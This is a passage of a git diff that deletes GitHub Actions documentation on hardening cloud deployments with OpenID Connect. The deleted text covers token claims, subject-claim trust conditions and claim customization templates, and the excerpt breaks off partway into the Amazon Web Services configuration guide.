-Redacting of secrets is performed by your workflow runners. This means a secret will only be redacted if it was used within a job and is accessible by the runner. If an unredacted secret is sent to a workflow run log, you should delete the log and rotate the secret. For information on deleting logs, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#deleting-logs).
diff --git a/content/actions/security-for-github-actions/security-hardening-your-deployments/about-security-hardening-with-openid-connect.md b/content/actions/security-for-github-actions/security-hardening-your-deployments/about-security-hardening-with-openid-connect.md
deleted file mode 100644
index d1f43177defb..000000000000
--- a/content/actions/security-for-github-actions/security-hardening-your-deployments/about-security-hardening-with-openid-connect.md
+++ /dev/null
@@ -1,531 +0,0 @@
----
-title: About security hardening with OpenID Connect
-shortTitle: Security hardening with OpenID Connect
-intro: OpenID Connect allows your workflows to exchange short-lived tokens directly from your cloud provider.
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: tutorial
-topics:
- - Security
-redirect_from:
- - /actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## Overview of OpenID Connect
-
-{% data variables.product.prodname_actions %} workflows are often designed to access a cloud provider (such as AWS, Azure, GCP, or HashiCorp Vault) in order to deploy software or use the cloud's services. Before the workflow can access these resources, it will supply credentials, such as a password or token, to the cloud provider. These credentials are usually stored as a secret in {% data variables.product.prodname_dotcom %}, and the workflow presents this secret to the cloud provider every time it runs.
-
-However, using hardcoded secrets requires you to create credentials in the cloud provider and then duplicate them in {% data variables.product.prodname_dotcom %} as a secret.
-
-With OpenID Connect (OIDC), you can take a different approach by configuring your workflow to request a short-lived access token directly from the cloud provider. Your cloud provider also needs to support OIDC on their end, and you must configure a trust relationship that controls which workflows are able to request the access tokens. Providers that currently support OIDC include Amazon Web Services, Azure, Google Cloud Platform, and HashiCorp Vault, among others.
-
-### Benefits of using OIDC
-
-By updating your workflows to use OIDC tokens, you can adopt the following good security practices:
-
-* **No cloud secrets:** You won't need to duplicate your cloud credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. Instead, you can configure the OIDC trust on your cloud provider, and then update your workflows to request a short-lived access token from the cloud provider through OIDC.
-* **Authentication and authorization management:** You have more granular control over how workflows can use credentials, using your cloud provider's authentication (authN) and authorization (authZ) tools to control access to cloud resources.
-* **Rotating credentials:** With OIDC, your cloud provider issues a short-lived access token that is only valid for a single job, and then automatically expires.
-
-### Getting started with OIDC
-
-The following diagram gives an overview of how {% data variables.product.prodname_dotcom %}'s OIDC provider integrates with your workflows and cloud provider:
-
-
-
-1. In your cloud provider, create an OIDC trust between your cloud role and your {% data variables.product.prodname_dotcom %} workflow(s) that need access to the cloud.
-1. Every time your job runs, {% data variables.product.prodname_dotcom %}'s OIDC Provider auto-generates an OIDC token. This token contains multiple claims to establish a security-hardened and verifiable identity about the specific workflow that is trying to authenticate.
-1. You could include a step or action in your job to request this token from {% data variables.product.prodname_dotcom %}'s OIDC provider, and present it to the cloud provider.
-1. Once the cloud provider successfully validates the claims presented in the token, it then provides a short-lived cloud access token that is available only for the duration of the job.
-
-## Configuring the OIDC trust with the cloud
-
-When you configure your cloud to trust {% data variables.product.prodname_dotcom %}'s OIDC provider, you **must** add conditions that filter incoming requests, so that untrusted repositories or workflows can’t request access tokens for your cloud resources:
-
-* Before granting an access token, your cloud provider checks that the [`subject`](https://openid.net/specs/openid-connect-core-1_0.html#StandardClaims) and other claims used to set conditions in its trust settings match those in the request's JSON Web Token (JWT). As a result, you must take care to correctly define the _subject_ and other conditions in your cloud provider.
-* The OIDC trust configuration steps and the syntax to set conditions for cloud roles (using _Subject_ and other claims) will vary depending on which cloud provider you're using. For some examples, see [Example subject claims](#example-subject-claims).
-
-### Understanding the OIDC token
-
-Each job requests an OIDC token from {% data variables.product.prodname_dotcom %}'s OIDC provider, which responds with an automatically generated JSON web token (JWT) that is unique for each workflow job where it is generated. When the job runs, the OIDC token is presented to the cloud provider. To validate the token, the cloud provider checks if the OIDC token's subject and other claims are a match for the conditions that were preconfigured on the cloud role's OIDC trust definition.
-
-The following example OIDC token uses a subject (`sub`) that references a job environment named `prod` in the `octo-org/octo-repo` repository.
-
-```yaml
-{
- "typ": "JWT",
- "alg": "RS256",
- "x5t": "example-thumbprint",
- "kid": "example-key-id"
-}
-{
- "jti": "example-id",
- "sub": "repo:octo-org/octo-repo:environment:prod",
- "environment": "prod",
- "aud": "{% ifversion ghes %}https://HOSTNAME{% else %}https://github.com{% endif %}/octo-org",
- "ref": "refs/heads/main",
- "sha": "example-sha",
- "repository": "octo-org/octo-repo",
- "repository_owner": "octo-org",
- "actor_id": "12",
- "repository_visibility": "private",
- "repository_id": "74",
- "repository_owner_id": "65",
- "run_id": "example-run-id",
- "run_number": "10",
- "run_attempt": "2",
- "runner_environment": "github-hosted"
- "actor": "octocat",
- "workflow": "example-workflow",
- "head_ref": "",
- "base_ref": "",
- "event_name": "workflow_dispatch",{% ifversion actions-OIDC-custom-claim-enterprise %}
- "enterprise": "avocado-corp",{% endif %}{% ifversion actions-OIDC-enterprise_id-claim %}
- "enterprise_id": "2",{% endif %}
- "ref_type": "branch",
- "job_workflow_ref": "octo-org/octo-automation/.github/workflows/oidc.yml@refs/heads/main",
- "iss": "{% ifversion ghes %}https://HOSTNAME/_services/token{% else %}https://token.actions.githubusercontent.com{% endif %}",
- "nbf": 1632492967,
- "exp": 1632493867,
- "iat": 1632493567
-}
-```
-
-To see all the claims supported by {% data variables.product.prodname_dotcom %}'s OIDC provider, review the `claims_supported` entries at
-{% ifversion ghes %}`https://HOSTNAME/_services/token/.well-known/openid-configuration`{% else %}https://token.actions.githubusercontent.com/.well-known/openid-configuration{% endif %}.
-
-The token includes the standard audience, issuer, and subject claims.
-
-| Claim | Claim type | Description |
-| ----------- | -----| ---------------------- |
-| `aud`| Audience | By default, this is the URL of the repository owner, such as the organization that owns the repository. You can set a custom audience with a toolkit command: [`core.getIDToken(audience)`](https://www.npmjs.com/package/@actions/core/v/1.6.0) |
-| `iss`| Issuer | The issuer of the OIDC token: {% ifversion ghes %}`https://HOSTNAME/_services/token`{% else %}`https://token.actions.githubusercontent.com`{% endif %} |
-| `sub`| Subject | Defines the subject claim that is to be validated by the cloud provider. This setting is essential for making sure that access tokens are only allocated in a predictable way. |
-
-The OIDC token also includes additional standard JOSE header parameters and claims.
-
-| Header Parameter | Parameter type | Description |
-| ----------- | -----| ---------------------- |
-| `alg`| Algorithm | The algorithm used by the OIDC provider. |
-| `kid`| Key identifier | Unique key for the OIDC token. |
-| `typ`| Type | Describes the type of token. This is a JSON Web Token (JWT). |
-
-| Claim | Claim type | Description |
-| ----------- | -----| ---------------------- |
-| `exp`| Expires at | Identifies the expiry time of the JWT. |
-| `iat`| Issued at | The time when the JWT was issued. |
-| `jti`| JWT token identifier | Unique identifier for the OIDC token. |
-| `nbf`| Not before | JWT is not valid for use before this time. |
-
-The token also includes custom claims provided by {% data variables.product.prodname_dotcom %}.
-
-| Claim | Description |
-| ----------- | ---------------------- |
-| `actor`| The personal account that initiated the workflow run. |
-| `actor_id`| The ID of personal account that initiated the workflow run. |
-| `base_ref`| The target branch of the pull request in a workflow run. |
-| {% ifversion actions-OIDC-custom-claim-enterprise %} |
-| `enterprise`| The name of the enterprise that contains the repository from where the workflow is running. |
-| {% endif %} |
-| {% ifversion actions-OIDC-enterprise_id-claim %} |
-| `enterprise_id`| The ID of the enterprise that contains the repository from where the workflow is running. |
-| {% endif %} |
-| `environment`| The name of the environment used by the job. If the `environment` claim is included (also via `include_claim_keys`), an environment is required and must be provided. |
-| `event_name`| The name of the event that triggered the workflow run. |
-| `head_ref`| The source branch of the pull request in a workflow run. |
-| `job_workflow_ref`| For jobs using a reusable workflow, the ref path to the reusable workflow. For more information, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows). |
-| `job_workflow_sha`| For jobs using a reusable workflow, the commit SHA for the reusable workflow file. |
-| `ref`| _(Reference)_ The git ref that triggered the workflow run. |
-| `ref_type`| The type of `ref`, for example: "branch". |
-| `repository_visibility` | The visibility of the repository where the workflow is running. Accepts the following values: `internal`, `private`, or `public`. |
-| `repository`| The repository from where the workflow is running. |
-| `repository_id`| The ID of the repository from where the workflow is running. |
-| `repository_owner`| The name of the organization in which the `repository` is stored. |
-| `repository_owner_id`| The ID of the organization in which the `repository` is stored. |
-| `run_id`| The ID of the workflow run that triggered the workflow. |
-| `run_number`| The number of times this workflow has been run. |
-| `run_attempt`| The number of times this workflow run has been retried. |
-| `runner_environment`| The type of runner used by the job. Accepts the following values: `github-hosted` or `self-hosted`. |
-| `workflow`| The name of the workflow. |
-| `workflow_ref`| {% data reusables.actions.workflow-ref-description %} |
-| `workflow_sha`| {% data reusables.actions.workflow-sha-description %} |
-
-### Defining trust conditions on cloud roles using OIDC claims
-
-With OIDC, a {% data variables.product.prodname_actions %} workflow requires a token in order to access resources in your cloud provider. The workflow requests an access token from your cloud provider, which checks the details presented by the JWT. If the trust configuration in the JWT is a match, your cloud provider responds by issuing a temporary token to the workflow, which can then be used to access resources in your cloud provider. You can configure your cloud provider to only respond to requests that originate from a specific organization's repository. You can also specify additional conditions, described below.
-
-Audience and Subject claims are typically used in combination while setting conditions on the cloud role/resources to scope its access to the GitHub workflows.
-* **Audience:** By default, this value uses the URL of the organization or repository owner. This can be used to set a condition that only the workflows in the specific organization can access the cloud role.
-* **Subject:** By default, has a predefined format and is a concatenation of some of the key metadata about the workflow, such as the {% data variables.product.prodname_dotcom %} organization, repository, branch, or associated [`job`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idenvironment) environment. See [Example subject claims](#example-subject-claims) to see how the subject claim is assembled from concatenated metadata.
-
-If you need more granular trust conditions, you can customize the {% ifversion ghec %}issuer (`iss`) and {% endif %}subject (`sub`) claim{% ifversion ghec %}s that are{% else %} that's{% endif %} included with the JWT. For more information, see [Customizing the token claims](#customizing-the-token-claims).
-
-There are also many additional claims supported in the OIDC token that can be used for setting these conditions. In addition, your cloud provider could allow you to assign a role to the access tokens, letting you specify even more granular permissions.
-
-> [!NOTE]
-> To control how your cloud provider issues access tokens, you **must** define at least one condition, so that untrusted repositories can’t request access tokens for your cloud resources.
-
-### Example subject claims
-
-The following examples demonstrate how to use "Subject" as a condition, and explain how the "Subject" is assembled from concatenated metadata. The [subject](https://openid.net/specs/openid-connect-core-1_0.html#StandardClaims) uses information from the [`job` context](/actions/learn-github-actions/contexts#job-context), and instructs your cloud provider that access token requests may only be granted for requests from workflows running in specific branches, environments. The following sections describe some common subjects you can use.
-
-#### Filtering for a specific environment
-
-The subject claim includes the environment name when the job references an environment.
-
-You can configure a subject that filters for a specific [environment](/actions/deployment/targeting-different-environments/managing-environments-for-deployment) name. In this example, the workflow run must have originated from a job that has an environment named `Production`, in a repository named `octo-repo` that is owned by the `octo-org` organization:
-
-* Syntax: `repo:ORG-NAME/REPO-NAME:environment:ENVIRONMENT-NAME`
-* Example: `repo:octo-org/octo-repo:environment:Production`
-
-#### Filtering for `pull_request` events
-
-The subject claim includes the `pull_request` string when the workflow is triggered by a pull request event, but only if the job doesn't reference an environment.
-
-You can configure a subject that filters for the [`pull_request`](/actions/using-workflows/events-that-trigger-workflows#pull_request) event. In this example, the workflow run must have been triggered by a `pull_request` event in a repository named `octo-repo` that is owned by the `octo-org` organization:
-
-* Syntax: `repo:ORG-NAME/REPO-NAME:pull_request`
-* Example: `repo:octo-org/octo-repo:pull_request`
-
-#### Filtering for a specific branch
-
-The subject claim includes the branch name of the workflow, but only if the job doesn't reference an environment, and if the workflow is not triggered by a pull request event.
-
-You can configure a subject that filters for a specific branch name. In this example, the workflow run must have originated from a branch named `demo-branch`, in a repository named `octo-repo` that is owned by the `octo-org` organization:
-
-* Syntax: `repo:ORG-NAME/REPO-NAME:ref:refs/heads/BRANCH-NAME`
-* Example: `repo:octo-org/octo-repo:ref:refs/heads/demo-branch`
-
-#### Filtering for a specific tag
-
-The subject claim includes the tag name of the workflow, but only if the job doesn't reference an environment, and if the workflow is not triggered by a pull request event.
-
-You can create a subject that filters for specific tag. In this example, the workflow run must have originated with a tag named `demo-tag`, in a repository named `octo-repo` that is owned by the `octo-org` organization:
-
-* Syntax: `repo:ORG-NAME/REPO-NAME:ref:refs/tags/TAG-NAME`
-* Example: `repo:octo-org/octo-repo:ref:refs/tags/demo-tag`
-
-### Configuring the subject in your cloud provider
-
-To configure the subject in your cloud provider's trust relationship, you must add the subject string to its trust configuration. The following examples demonstrate how various cloud providers can accept the same `repo:octo-org/octo-repo:ref:refs/heads/demo-branch` subject in different ways:
-
-| Cloud provider | Example |
-| ------ | ----------- |
-| Amazon Web Services | `"{% ifversion ghes %}HOSTNAME/_services/token{% else %}token.actions.githubusercontent.com{% endif %}:sub": "repo:octo-org/octo-repo:ref:refs/heads/demo-branch"` |
-| Azure| `repo:octo-org/octo-repo:ref:refs/heads/demo-branch` |
-| Google Cloud Platform| `(assertion.sub=='repo:octo-org/octo-repo:ref:refs/heads/demo-branch')` |
-| HashiCorp Vault| `bound_subject="repo:octo-org/octo-repo:ref:refs/heads/demo-branch"` |
-
-For more information, see the guides listed in [Enabling OpenID Connect for your cloud provider](#enabling-openid-connect-for-your-cloud-provider).
-
-## Updating your actions for OIDC
-
-To update your custom actions to authenticate using OIDC, you can use `getIDToken()` from the Actions toolkit to request a JWT from {% data variables.product.prodname_dotcom %}'s OIDC provider. For more information, see "OIDC Token" in the [npm package documentation](https://www.npmjs.com/package/@actions/core/v/1.6.0).
-
-You could also use a `curl` command to request the JWT, using the following environment variables.
-
-| Variable | Description |
-| ------ | ----------- |
-| `ACTIONS_ID_TOKEN_REQUEST_URL` | The URL for {% data variables.product.prodname_dotcom %}'s OIDC provider. |
-| `ACTIONS_ID_TOKEN_REQUEST_TOKEN` | Bearer token for the request to the OIDC provider. |
-
-For example:
-
-```shell copy
-curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange"
-```
-
-### Adding permissions settings
-
-{% data reusables.actions.oidc-permissions-token %}
-
-## Customizing the token claims
-
-You can security harden your OIDC configuration by customizing the claims that are included with the JWT. These customizations allow you to define more granular trust conditions on your cloud roles when allowing your workflows to access resources hosted in the cloud:
-
-* You can customize values for {% ifversion ghec %}`issuer` or {% endif %}`audience` claims. See {% ifversion ghec %}[Customizing the `issuer` value for an enterprise](#customizing-the-issuer-value-for-an-enterprise) and {% endif %}[Customizing the `audience` value](#customizing-the-audience-value).
-* You can customize the format of your OIDC configuration by setting conditions on the subject (`sub`) claim that require JWT tokens to originate from a specific repository, reusable workflow, or other source.
-* You can define granular OIDC policies by using additional OIDC token claims, such as `repository_id` and `repository_visibility`. See [Understanding the OIDC token](#understanding-the-oidc-token).
-
-### Customizing the `audience` value
-
-When you use custom actions in your workflows, those actions may use the {% data variables.product.prodname_actions %} Toolkit to enable you to supply a custom value for the `audience` claim. Some cloud providers also use this in their official login actions to enforce a default value for the `audience` claim. For example, the [GitHub Action for Azure Login](https://github.com/Azure/login/blob/master/action.yml) provides a default `aud` value of `api://AzureADTokenExchange`, or it allows you to set a custom `aud` value in your workflows. For more information on the {% data variables.product.prodname_actions %} Toolkit, see the [OIDC token](https://github.com/actions/toolkit/tree/main/packages/core#oidc-token) section in the documentation.
-
-If you do not want to use the default `aud` value offered by an action, you can provide a custom value for the `audience` claim. This allows you to set a condition that only workflows in a specific repository or organization can access the cloud role. If the action you are using supports this, you can use the `with` keyword in your workflow to pass a custom `aud` value to the action. For more information, see [AUTOTITLE](/actions/creating-actions/metadata-syntax-for-github-actions#inputs).
-
-{% ifversion ghec %}
-
-### Customizing the `issuer` value for an enterprise
-
-By default, the JWT is issued by {% data variables.product.prodname_dotcom %}'s OIDC provider at `https://token.actions.githubusercontent.com`. This path is presented to your cloud provider using the `iss` value in the JWT.
-
-To security harden their OIDC configuration, enterprise administrators can configure their enterprise to receive tokens from a unique URL at `https://token.actions.githubusercontent.com/`, replacing `` with the slug value of the enterprise.
-
-This configuration means that your enterprise will receive the OIDC token from a unique URL, and you can then configure your cloud provider to only accept tokens from that URL. This helps ensure that only the enterprise's repositories can access your cloud resources using OIDC.
-
-To activate this setting for your enterprise, an enterprise administrator must use the `/enterprises/{enterprise}/actions/oidc/customization/issuer` endpoint and specify `"include_enterprise_slug": true` in the request body. For more information, see [AUTOTITLE](/rest/actions/oidc#set-the-github-actions-oidc-custom-issuer-policy-for-an-enterprise).
-
-After this setting is applied, the JWT will contain the updated `iss` value. In the following example, the `iss` key uses `octocat-inc` as its `enterpriseSlug` value:
-
-```json
-{
- "jti": "6f4762ed-0758-4ccb-808d-ee3af5d723a8",
- "sub": "repo:octocat-inc/private-server:ref:refs/heads/main",
- "aud": "http://octocat-inc.example/octocat-inc",
- "enterprise": "octocat-inc",
- "enterprise_id": "123",
- "iss": "https://token.actions.githubusercontent.com/octocat-inc",
- "bf": 1755350653,
- "exp": 1755351553,
- "iat": 1755351253
-}
-```
-
-{% endif %}
-
-### Customizing the subject claims for an organization or repository
-
-To help improve security, compliance, and standardization, you can customize the standard claims to suit your required access conditions. If your cloud provider supports conditions on subject claims, you can create a condition that checks whether the `sub` value matches the path of the reusable workflow, such as `"job_workflow_ref:octo-org/octo-automation/.github/workflows/oidc.yml@refs/heads/main"`. The exact format will vary depending on your cloud provider's OIDC configuration. To configure the matching condition on {% data variables.product.prodname_dotcom %}, you can use the REST API to require that the `sub` claim must always include a specific custom claim, such as `job_workflow_ref`. You can use the REST API to apply a customization template for the OIDC subject claim; for example, you can require that the `sub` claim within the OIDC token must always include a specific custom claim, such as `job_workflow_ref`. For more information, see [AUTOTITLE](/rest/actions/oidc).
-
-> [!NOTE]
-> When the organization template is applied, it will not affect any workflows already using OIDC unless their repository has opted in to custom organization templates. For all repositories, existing and new, the repository owner will need to use the repository-level REST API to opt in to receive this configuration by setting `use_default` to `false`. Alternatively, the repository owner could use the REST API to apply a different configuration specific to the repository. For more information, see [AUTOTITLE](/rest/actions/oidc#set-the-customization-template-for-an-oidc-subject-claim-for-a-repository).
-
-Customizing the claims results in a new format for the entire `sub` claim, which replaces the default predefined `sub` format in the token described in [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#example-subject-claims).
-
-> [!NOTE]
-> The `sub` claim uses the shortened form `repo` (for example, `repo:ORG-NAME/REPO-NAME`) instead of `repository` to reference the repository. {% ifversion fpt or ghec or ghes > 3.15 %}
-> Any `:` within the context value will be replaced with `%3A`. {% endif %}
-
-The following example templates demonstrate various ways to customize the subject claim. To configure these settings on {% data variables.product.prodname_dotcom %}, admins use the REST API to specify a list of claims that must be included in the subject (`sub`) claim.
-
-{% data reusables.actions.use-request-body-api %}
-
-To customize your subject claims, you should first create a matching condition in your cloud provider's OIDC configuration, before customizing the configuration using the REST API. Once the configuration is completed, each time a new job runs, the OIDC token generated during that job will follow the new customization template. If the matching condition doesn't exist in the cloud provider's OIDC configuration before the job runs, the generated token might not be accepted by the cloud provider, since the cloud conditions may not be synchronized.
-
-#### Example: Allowing repository based on visibility and owner
-
-This example template allows the `sub` claim to have a new format, using `repository_owner` and `repository_visibility`:
-
-```json
-{
- "include_claim_keys": [
- "repository_owner",
- "repository_visibility"
- ]
-}
-```
-
-In your cloud provider's OIDC configuration, configure the `sub` condition to require that claims must include specific values for `repository_owner` and `repository_visibility`. For example: `"sub": "repository_owner:monalisa:repository_visibility:private"`. The approach lets you restrict cloud role access to only private repositories within an organization or enterprise.
-
-#### Example: Allowing access to all repositories with a specific owner
-
-This example template enables the `sub` claim to have a new format with only the value of `repository_owner`.
-
-{% data reusables.actions.use-request-body-api %}
-
-```json
-{
- "include_claim_keys": [
- "repository_owner"
- ]
-}
-
-```
-
-In your cloud provider's OIDC configuration, configure the `sub` condition to require that claims must include a specific value for `repository_owner`. For example: `"sub": "repository_owner:monalisa"`
-
-#### Example: Requiring a reusable workflow
-
-This example template allows the `sub` claim to have a new format that contains the value of the `job_workflow_ref` claim. This enables an enterprise to use [reusable workflows](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#example-subject-claims) to enforce consistent deployments across its organizations and repositories.
-
-{% data reusables.actions.use-request-body-api %}
-
-```json
- {
- "include_claim_keys": [
- "job_workflow_ref"
- ]
- }
-```
-
-In your cloud provider's OIDC configuration, configure the `sub` condition to require that claims must include a specific value for `job_workflow_ref`. For example: `"sub": "job_workflow_ref:octo-org/octo-automation/.github/workflows/oidc.yml@refs/heads/main"`.
-
-#### Example: Requiring a reusable workflow and other claims
-
-The following example template combines the requirement of a specific reusable workflow with additional claims.
-
-{% data reusables.actions.use-request-body-api %}
-
-This example also demonstrates how to use `"context"` to define your conditions. This is the part that follows the repository in the [default `sub` format](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#example-subject-claims). For example, when the job references an environment, the context contains: `environment:ENVIRONMENT-NAME`.
-
-```json
-{
- "include_claim_keys": [
- "repo",
- "context",
- "job_workflow_ref"
- ]
-}
-```
-
-In your cloud provider's OIDC configuration, configure the `sub` condition to require that claims must include specific values for `repo`, `context`, and `job_workflow_ref`.
-
-This customization template requires that the `sub` uses the following format: `repo:ORG-NAME/REPO-NAME:environment:ENVIRONMENT-NAME:job_workflow_ref:REUSABLE-WORKFLOW-PATH`.
-For example: `"sub": "repo:octo-org/octo-repo:environment:prod:job_workflow_ref:octo-org/octo-automation/.github/workflows/oidc.yml@refs/heads/main"`
-
-#### Example: Granting access to a specific repository
-
-This example template lets you grant cloud access to all the workflows in a specific repository, across all branches/tags and environments. {% ifversion ghec %}To further improve security, you can combine this template with a unique issuer URL for your enterprise, as described in [Customizing the `issuer` value for an enterprise](#customizing-the-issuer-value-for-an-enterprise).{% endif %}
-
-{% data reusables.actions.use-request-body-api %}
-
-```json
-{
- "include_claim_keys": [
- "repo"
- ]
-}
-```
-
-In your cloud provider's OIDC configuration, configure the `sub` condition to require a `repo` claim that matches the required value.
-
-#### Example: Using system-generated GUIDs
-
-This example template enables predictable OIDC claims with system-generated GUIDs that do not change between renames of entities (such as renaming a repository).
-
-{% data reusables.actions.use-request-body-api %}
-
-```json
- {
- "include_claim_keys": [
- "repository_id"
- ]
- }
-```
-
-In your cloud provider's OIDC configuration, configure the `sub` condition to require a `repository_id` claim that matches the required value.
-
-or:
-
-```json
-{
- "include_claim_keys": [
- "repository_owner_id"
- ]
-}
-```
-
-In your cloud provider's OIDC configuration, configure the `sub` condition to require a `repository_owner_id` claim that matches the required value.
-
-{% ifversion fpt or ghec or ghes > 3.15 %}
-
-#### Example: Context value with `:`
-
-This example demonstrates how to handle context value with `:`. For example, when the job references an environment named `production:eastus`.
-
-{% data reusables.actions.use-request-body-api %}
-
-```json
-{
- "include_claim_keys": [
- "environment",
- "repository_owner"
- ]
-}
-```
-
-In your cloud provider's OIDC configuration, configure the `sub` condition to require that claims must include a specific value for `environment` and `repository_owner`. For example: `"sub": "environment:production%3Aeastus:repository_owner:octo-org"`.
-{% endif %}
-
-#### Resetting organization template customizations
-
-This example template resets the subject claims to the default format. This template effectively opts out of any organization-level customization policy.
-
-{% data reusables.actions.use-request-body-api %}
-
-```json
-{
- "include_claim_keys": [
- "repo",
- "context"
- ]
-}
-```
-
-In your cloud provider's OIDC configuration, configure the `sub` condition to require that claims must include specific values for `repo` and `context`.
-
-#### Resetting repository template customizations
-
-All repositories in an organization have the ability to opt in or opt out of (organization and repository-level) customized `sub` claim templates.
-
-To opt out a repository and reset back to the default `sub` claim format, a repository administrator must use the REST API endpoint at [AUTOTITLE](/rest/actions/oidc#set-the-customization-template-for-an-oidc-subject-claim-for-a-repository).
-
-To configure repositories to use the default `sub` claim format, use the `PUT /repos/{owner}/{repo}/actions/oidc/customization/sub` REST API endpoint at with the following request body.
-
-```json
-{
- "use_default": true
-}
-```
-
-#### Example: Configuring a repository to use an organization template
-
-Once an organization has created a customized `sub` claim template, the REST API can be used to programmatically apply the template to repositories within the organization. A repository administrator can configure their repository to use the template created by the administrator of their organization.
-
-To configure the repository to use the organization's template, a repository admin must use the `PUT /repos/{owner}/{repo}/actions/oidc/customization/sub` REST API endpoint at with the following request body. For more information, see [AUTOTITLE](/rest/actions/oidc#set-the-customization-template-for-an-oidc-subject-claim-for-a-repository).
-
-```json
-{
- "use_default": false
-}
-```
-
-## Updating your workflows for OIDC
-
-You can now update your YAML workflows to use OIDC access tokens instead of secrets. Popular cloud providers have published their official login actions that make it easy for you to get started with OIDC. For more information about updating your workflows, see the cloud-specific guides listed below in [Enabling OpenID Connect for your cloud provider](#enabling-openid-connect-for-your-cloud-provider).
-
-{% ifversion fpt or ghec %}
-
-## Enabling OpenID Connect for Python package publishing
-
-You can use a {% data variables.product.prodname_actions %} workflow in a repository as a trusted publisher for a PyPI project. Using a workflow as a trusted publisher allows OIDC access tokens to be exchanged for temporary PyPI API tokens. For more information, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-pypi) and [Publishing to PyPI with a Trusted Publisher](https://docs.pypi.org/trusted-publishers/) in the PyPI documentation.
-
-{% endif %}
-
-## Enabling OpenID Connect for your cloud provider
-
-To enable and configure OIDC for your specific cloud provider, see the following guides:
-
-* [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services)
-* [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)
-* [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform)
-* [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-hashicorp-vault)
-
-To enable and configure OIDC for another cloud provider, see the following guide:
-
-* [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-cloud-providers)
-
-{% ifversion ghec %}
-
-### Following these guides on {% data variables.enterprise.data_residency_site %}
-
-If you are part of an enterprise that uses {% data variables.enterprise.data_residency %} and you're setting up OIDC on {% data variables.enterprise.data_residency_site %}, you must **substitute certain values** in the linked articles.
-
-* Your provider's expected claim must substitute `githubusercontent.com` with `{% data variables.enterprise.data_residency_domain %}`, where SUBDOMAIN is your enterprise's subdomain on {% data variables.enterprise.data_residency_site %}.
-* For any URLs that include a route with your enterprise's name or slug, you must substitute your enterprise's subdomain on {% data variables.enterprise.data_residency_site %}.
-
-For example, if your subdomain is `octocorp`, the following substitutions apply:
-
-* The URL for seeing all the claims supported by {% data variables.product.company_short %}'s OIDC provider would be `https://token.actions.octocorp.ghe.com/.well-known/openid-configuration`.
-* The value of `iss` in your OIDC token would be `https://token.actions.octocorp.ghe.com`.
-* The enterprise can receive tokens at `https://token.actions.octocorp.ghe.com/octocorp`, and the REST API endpoint for customizing the `issuer` value would be `/enterprises/octocorp/actions/oidc/customization/issuer`.
-
-{% endif %}
-
-## Debugging your OIDC claims
-
-You can use the [`github/actions-oidc-debugger`](https://github.com/github/actions-oidc-debugger) action to visualize the claims that would be sent, before integrating with a cloud provider. This action requests a JWT and prints the claims included within the JWT that were received from {% data variables.product.prodname_actions %}.
diff --git a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md b/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md
deleted file mode 100644
index eeb27108f722..000000000000
--- a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md
+++ /dev/null
@@ -1,160 +0,0 @@
----
-title: Configuring OpenID Connect in Amazon Web Services
-shortTitle: OpenID Connect in AWS
-intro: Use OpenID Connect within your workflows to authenticate with Amazon Web Services.
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: tutorial
-topics:
- - Security
-redirect_from:
- - /actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## Overview
-
-OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Amazon Web Services (AWS), without needing to store the AWS credentials as long-lived {% data variables.product.prodname_dotcom %} secrets.
-
-This guide explains how to configure AWS to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and includes a workflow example for the [`aws-actions/configure-aws-credentials`](https://github.com/aws-actions/configure-aws-credentials) that uses tokens to authenticate to AWS and access resources.
-
-{% data reusables.actions.oidc-custom-claims-aws-restriction %}
-
-## Prerequisites
-
-{% data reusables.actions.oidc-link-to-intro %}
-
-{% data reusables.actions.oidc-security-notice %}
-
-{% data reusables.actions.oidc-on-ghecom %}
-
-{% ifversion ghes %}
-{% data reusables.actions.oidc-endpoints %}
-
-
- > [!NOTE]
- > You can restrict access to the OIDC endpoints by allowing only [AWS IP address ranges](https://docs.aws.amazon.com/vpc/latest/userguide/aws-ip-ranges.html).
-
- > [!NOTE]
- > {% data variables.product.prodname_dotcom %} does not natively support AWS session tags.
-
-{% endif %}
-
-## Adding the identity provider to AWS
-
-To add the {% data variables.product.prodname_dotcom %} OIDC provider to IAM, see the [AWS documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html).
-
-* For the provider URL: Use {% ifversion ghes %}`https://HOSTNAME/_services/token`{% else %}`https://token.actions.githubusercontent.com`{% endif %}
-* For the "Audience": Use `sts.amazonaws.com` if you are using the [official action](https://github.com/aws-actions/configure-aws-credentials).
-
-### Configuring the role and trust policy
-
